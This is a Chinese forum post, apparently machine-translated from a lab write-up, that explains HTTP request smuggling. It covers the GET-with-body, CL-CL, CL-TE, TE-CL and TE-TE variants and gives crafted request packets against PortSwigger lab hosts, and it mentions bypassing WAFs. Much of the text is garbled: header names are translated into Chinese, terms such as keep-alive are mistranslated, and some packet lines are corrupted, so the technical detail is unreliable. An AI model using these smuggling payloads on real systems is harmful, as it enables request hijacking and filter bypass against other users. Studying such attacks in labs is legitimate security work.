H

HTTP 请求走私

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

HTTP 请求走私​

1 前言​

1.1 Keep-Alive​

在HTTP 1.0之前的协议设计中,每次客户端提出HTTP请求时,都需要使用服务器建立TCP链接。现代网站页面由多个资源组成。如果我们想获取网页的内容,我们不仅需要请求HTML文档,还需要各种资源,例如JS,CSS和图片。如果我们根据先前的协议设计,它将增加HTTP服务器的负载开销。因此,在HTTP 1.1中,添加了静脉和管道的两个特征。
什么是野性?它是为了在HTTP请求中添加特殊请求标头连接: keep-alive,并告诉服务器,接收此HTTP请求后,请勿关闭TCP链接。然后面对同一目标服务器的HTTP请求,并重复使用此TCP链接。这仅需要一个TCP握手过程,该过程可以减少服务器开销,节省资源并加快访问速度。当然,默认情况下,在HTTP 1.1中启用了此功能。

1.2 Pipeline​

随后可提供管道,随后可用。在这里,客户端可以像管道一样发送自己的HTTP请求,而无需等待服务器响应。收到请求后,服务器需要遵循第一个第一的机制,严格对应于请求和响应,然后将响应发送给客户端。现在,浏览器默认情况下不启用管道,但是普通服务器为管道提供了支持。
20200915141458.png-water_print

1.3 原理​

TCP链接将在反向代理服务器和后端源服务器之间重复使用,因为代理服务器和后端源服务器的IP地址相对固定,并且建立了不同的用户请求,以通过代理服务器与源服务器建立链接,因此它是自然的。
但是,由于两个服务器的实现方法不同,如果用户提交了模糊的请求,则代理服务器可能会认为这是HTTP请求,并将其转发到后端源服务器。但是,在解析和处理后,源服务器仅认为部分是正常请求,其余部分是走私的请求。这是HTTP走私请求的起源。
HTTP请求走私漏洞的原因是,HTTP规范提供了两种不同的方法来指定请求的最终位置,即内容长度为“内容”标题和传输编码标头,简单明了,并指定字节中消息内容正文的长度。
传输编码标头用于指定消息主体用于使用块的编码,也就是说,消息消息由一个或多个数据块组成,每个数据块大小都以字节(十六进制表示)来测量,然后是newline字符,然后是块内容。最重要的是:整个消息主体以大小0的块结束,这意味着解析以0个数据块结束。喜欢:
1
2
3
4
5
6
7
8
9
POST/HTTP/1.1
HOST: AC6F1FF11E5C7D4E806912D000080058.WEB-SECURITY-ACADEMY.NET
content-type:应用程序/x-www-form-urlenceded
转移编码:分块
b
a=11
0
实际上,这真的很容易理解。这等同于发送请求,包括内容长度。解析前端服务器没有问题。但是,我还在要求时包括传输编码,以便后端服务器可以执行我在下面写的一些命令,以便前端服务器可以绕过WAF。

2 实例​

2.1 CL 不为 0 的 GET 请求​

假设前端代理服务器允许获取请求以携带请求主体,而后端服务器不允许获得请求的请求来携带请求物体,则它将直接忽略get请求中的内容长度的标题,并且不处理它。这可能会导致要求走私。
例如,我们构建请求:
1
2
3
4
5
6
7
get/http/1.1 \ r \ n
HOST: example.com \ r \ n
内容长度: 44 \ r \ n
获取/秘密http/1.1 \ r \ n
HOST: example.com \ r \ n
\ r \ n
前端服务器接收请求并读取内容长度,确定这是一个完整的请求,然后将其转发到后端服务器。后端服务器接收到它后,它不会处理内容长度。由于存在管道,它认为它已收到两个请求,即
1
2
3
4
5
6
7
# 第一的
get/http/1.1 \ r \ n
HOST: example.com \ r \ n
#第二个
获取/秘密http /1.1 \ r \ n
HOST: example.com \ r \ n

2.2 CL-CL​

在RFC7230的第3.3.3条第4条中,据规定,当服务器收到的请求包含两个内容长度时,两者的值不同,则需要400个错误。
但是,总会有一些服务器不会严格实施此规范。假设中间代理服务器和后端源服务器在接收类似请求时不会返回400错误,则中间代理服务器根据第一个内容长度的值处理请求,而后端源服务器则根据第二个内容长度的值处理请求。
目前,恶意攻击者可以构建一个特殊请求:
1
2
3
4
5
6
7
POST/http/1.1 \ r \ n
HOST: example.com \ r \ n
内容长度: 8 \ r \ n
内容长度: 7 \ r \ n
12345 \ r \ n
一个
中间代理服务器获得的数据包的长度为8,上面的整个数据包被转发到后端源服务器完整,而后端服务器获得的数据包的长度为7。在读取了前7个字符后,后端服务器认为它已读取,然后读取已读取并生成相应的响应并将其发送出来。目前,缓冲区中仍然有一个字母A。对于后端服务器,这是下一个请求的一部分,但尚未传输。目前,另一个普通用户碰巧请求服务器,假设该请求显示在图中:
1
2
get /index.html http /1.1 \ r \ n
HOST: example.com \ r \ n
我们也从上一个示例中知道,TCP连接通常在代理服务器和源服务器之间重复使用。
目前,将普通用户的请求夹在字母a后面。当后端服务器接收到它时,它实际处理的请求是:
1
2
aget /index.html http /1.1 \ r \ n
HOST: example.com \ r \ n
目前,用户将收到类似于找不到的AGET请求方法的错误。这实现了HTTP走私攻击,这也影响了普通用户的行为,并且可以扩展到类似于CSRF的攻击方法。
但是,两个内容长度的请求数据仍然太理想了,普通服务器将不接受具有两个请求标头的此类请求数据包。但是,在RFC2616的第4.4节中,规定,如果:收到具有内容长度和传输编码请求标头的请求数据包,则必须在处理过程中忽略内容长度。实际上,这意味着在请求数据包中两个请求标头也不是违规行为,并且服务器无需返回400个错误。这里的服务器实现更容易出现问题。

2.3 CL-TE​

所谓的CL-TE意味着,当接收两个请求标头的请求数据包时,前端代理服务器仅处理请求标头内容长度,而后端服务器将遵守RFC2616的规定,忽略内容长度,并处理请求请求请求标头传输转换。
块传输数据的格式如下,其中大小的值由十六进制表示。
实验室地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
构造数据包:
1
2
3
4
5
6
7
8
9
10
11
12
POST/http/1.1 \ r \ n
HOST: ACE01FCF1FD05FAF80C21F8B00EA006B.WEB-SECURITY-ACADEMY.NET \ r \ n
Accept: Text/HTML,Application/XHTML+XML,Application/XML; Q=0.9,/; q=0.8 \ r \ n
接受anguage: en-us,en; q=0.5 \ r \ n
cookie: session=e9m1pnyfbvtmyentyse5eijpdc04evm3 \ r \ n
Connection: keep-alive \ r \ n
内容长度: 6 \ r \ n
转移- 编码:块\ r \ n
\ r \ n
0 \ r \ n
\ r \ n
g
可以通过发送一些连续请求来获得此响应:
20200915143924.png-water_print

2.4 TE-CL​

所谓的TE-CL是接收两个带有两个请求标头的请求数据包,前端代理服务器处理传输编码请求标头,而后端服务器则处理内容长度的请求标头。
实验室地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
构造数据包:
1
2
3
4
5
6
7
8
9
10
11
12
13
POST/http/1.1 \ r \ n
HOST: AC041F531EABD0CD804EDB62000C0025.WEB-SECURITY-ACADEMY.NET \ r \ n
Accept: Text/HTML,Application/XHTML+XML,Application/XML; Q=0.9,/; q=0.8 \ r \ n
接受anguage: en-us,en; q=0.5 \ r \ n
cookie: session=3eyiu83zsygjzgafygpn8vdgbkw5ifew \ r \ n
内容长度: 4 \ r \ n
转移- 编码:块\ r \ n
\ r \ n
12 \ r \ n
gpost/http/1.1 \ r \ n
\ r \ n
0 \ r \ n
\ r \ n
20200915145641.png-water_print

由于前端服务器处理传输编码,因此当它读取0 \ r \ n \ r \ n时,被认为已完成读取。目前,此请求是对代理服务器的完整请求,然后转发到后端服务器。后端服务器处理内容长度请求标头。在读取5C \ r \ n之后,它认为该请求已经结束,并且随后的数据被认为是另一个请求,也就是说:
1
2
3
4
5
6
GPOST/HTTP/1.1
content-type:应用程序/x-www-form-urlenceded
内容长度: 15
x=1
0

2.5 TE-TE​

Te-Te,也很容易理解。当收到带有两个请求标头的请求数据包时,前端和后端服务器都处理传输编码请求标头,这确实是实现RFC的标准。但是,毕竟,前端服务器和后端服务器都不相同,因此有一种方法可以在发送请求数据包中的传输编码上执行一些混淆操作,因此其中一台服务器不处理传输编码请求标头。从某种意义上说,它仍然是cl-te或te-cl。
实验室地址:https://portswigger.net/web-security/request-smuggling/lab-ercating-te-header
构造数据包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST/http/1.1 \ r \ n
HOST3360 AC4B1FCB1F596028803B11A2007400E4.WEB-SECURITY-ACADEMY.NET \ r \ n
用户- 代理: Mozilla/5.0(Macintosh; Intel Mac OS X 10.14; rv:56.0)Gecko/20100101 Firefox/56.0 \ r \ n
Accept: Text/HTML,Application/XHTML+XML,Application/XML; Q=0.9,/; q=0.8 \ r \ n
接受anguage: en-us,en; q=0.5 \ r \ n
cookie: session=mew4qw7brxkhk0p1thny2gixizwzdmd8 \ r \ n
内容长度: 4 \ r \ n
转移- 编码:块\ r \ n
转移- 编码:牛\ r \ n
\ r \ n
5C \ r \ n
gpost/http/1.1 \ r \ n
content-type:应用程序/x-www-form-urlencoded \ r \ n
内容长度: 15 \ r \ n
\ r \ n
x=1 \ r \ n
0 \ r \ n
\ r \ n
20200915150153.png-water_print
 
后退
顶部